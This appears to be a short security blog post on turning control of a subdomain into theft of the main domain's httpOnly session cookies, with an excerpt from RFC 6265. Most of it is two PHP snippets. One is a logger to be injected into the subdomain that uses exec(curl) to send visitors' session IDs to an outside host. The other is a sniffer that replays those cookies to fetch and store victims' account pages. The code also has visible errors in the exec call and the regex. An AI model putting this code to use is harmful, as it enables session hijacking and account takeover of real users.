Exploiting server-side vulns as client-side?!!

Sounds terrible, does not it? This post is obviously of course ;)

But sometimes this is effective attack vector, for example, whenever you can exploit any subdomain (news.your-target.com) but can not exploit main domain (your-target.com).

You can track cookies at any subdomain even if they were protected by httpOnly/Security.
Look to RFC6265 http://tools.ietf.org/html/rfc6265:

4.1.2.3.  The Domain Attribute


   The Domain attribute specifies those hosts to which the cookie will
   be sent.  For example, if the value of the Domain attribute is
   "example.com", the user agent will include the cookie in the Cookie
   header when making HTTP requests to example.com, www.example.com, and
   www.corp.example.com.  (Note that a leading %x2E ("."), if present,
   is ignored even though that character is not permitted, but a
   trailing %x2E ("."), if present, will cause the user agent to ignore
   the attribute.)  If the server omits the Domain attribute, the user
   agent will return the cookie only to the origin server.

Tracking cookies are possible when main server sending Set-cookie header with "domain" attribute.

Logger to inject into subdomain may looks like:

<?php
if(!isset($_COOKIE['session_id']) ||!preg_match('/$ASYOUWANT^/s',$_COOKIE['session_id']) ||isset($_SESSION['already_logged'])){
//do nothing
}else{
//exec called for asynchronous request
exec("curl http://security-auditor.com/sniffer.php?session_id=".$_COOKIE['session_id'])." &";//httpOnly cookie of course
$_SESSION['already_logged']=true;
}
?>
Simple code of described sniffer listed below: 
<?php
$ssid=@$_GET['session_id'];
if($ssid!=""){
// download page as a client
$opts=array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n".
"Cookie: session_id=$ssid;\r\n"
  )
 );
$context=stream_context_create($opts);
$file=file_get_contents('https://target.com/settings', false, $context);
 if(!file_exists("/tmp/sess-$ssid")){
file_put_contents("/tmp/sess-$ssid","Cookie: session_id=$ssid; \n".$file ); } }
?>